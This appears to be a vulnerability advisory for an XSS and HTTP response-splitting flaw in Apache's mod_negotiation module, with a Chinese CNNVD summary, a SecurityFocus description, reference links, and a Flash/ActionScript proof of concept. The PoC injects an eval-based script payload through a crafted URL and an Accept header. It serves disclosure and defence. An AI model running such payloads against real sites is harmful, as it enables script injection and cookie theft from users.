https://www.exploit-db.com/exploits/31052


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200801-387

Apache HTTP Server是一款流行的Web服务器。 Apache HTTP Server 2.2.6和较早版本2.2.x系列、2.0.61和较早版本2.0.x系列、1.3.39和较早版本1.3.x系列中的mod_negotiation模块中存在跨站脚本漏洞。远程认证攻击者利用该漏洞通过上传带有包含XSS序列名字的文件和文件扩展，注入任意web脚本或HTML，文件扩展名请求被程序忽略，这将导致程序的（1）“406 Not Acceptable”页面或者（2）“300 Multiple Choices”HTTP响应页面受到注入攻击。

source: http://www.securityfocus.com/bid/27409/info

Apache 'mod_negotiation' is prone to an HTML-injection and an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is served, cached, or interpreted; other attacks are also possible. 

// Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115
// Compile with flex compiler
package
{
  import flash.display.Sprite;
  import flash.net.*
  public class TestXss extends flash.display.Sprite {
    public function TestXss(){
      var r:URLRequest = new URLRequest('http://victim/<img%20src=sa%20
                  onerror=eval(document.location.hash.substr(1))>#alert(123)');

      r.method = 'POST';
      r.data = unescape('test');
      r.requestHeaders.push(new URLRequestHeader('Accept', 'image/jpeg; q=0'));

      navigateToURL(r, '_self');
     
    }
    }
}

来源:BID

名称:27409

链接:http://www.securityfocus.com/bid/27409

来源:BUGTRAQ

名称:20080122Apachemod_negotiationXssandHttpResponseSplitting

链接:http://www.securityfocus.com/archive/1/archive/1/486847/100/0/threaded

来源:MISC

链接:http://www.mindedsecurity.com/MSA01150108.html

来源:SECTRACK

名称:1019256

链接:http://securitytracker.com/id?1019256

来源:XF

名称:apache-modnegotiation-xss(39867)

链接:http://xforce.iss.net/xforce/xfdb/39867

来源:SREASON

名称:3575

链接:http://securityreason.com/securityalert/3575

来源:GENTOO

名称:GLSA-200803-19

链接:http://security.gentoo.org/glsa/glsa-200803-19.xml

来源:SECUNIA

名称:29348

链接:http://secunia.com/advisories/29348